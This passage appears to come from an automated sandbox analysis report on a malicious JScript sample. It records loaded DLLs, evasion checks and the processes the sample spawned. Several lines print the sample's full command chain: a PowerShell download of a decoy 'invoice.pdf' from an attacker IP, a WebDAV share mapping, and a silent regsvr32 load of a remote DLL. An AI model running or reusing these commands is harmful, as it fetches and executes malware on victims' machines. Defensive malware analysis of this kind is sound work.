Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9341.js.csv");ITextStream.WriteLine(" entry:8245 f:uzildcptt");ITextStream.WriteLine(" exec:2 f:uzildcptt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5958			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3502			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep count: 5958 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep count: 3502 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6052	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1482995187.00000129823E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`3E
Source: net.exe, 00000007.00000002.1489833776.000001298244E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1473553279.000001298244E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2700971623.000002284262F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2702278568.0000022847C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1489833776.000001298244E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1473553279.000001298244E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(]\W#

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

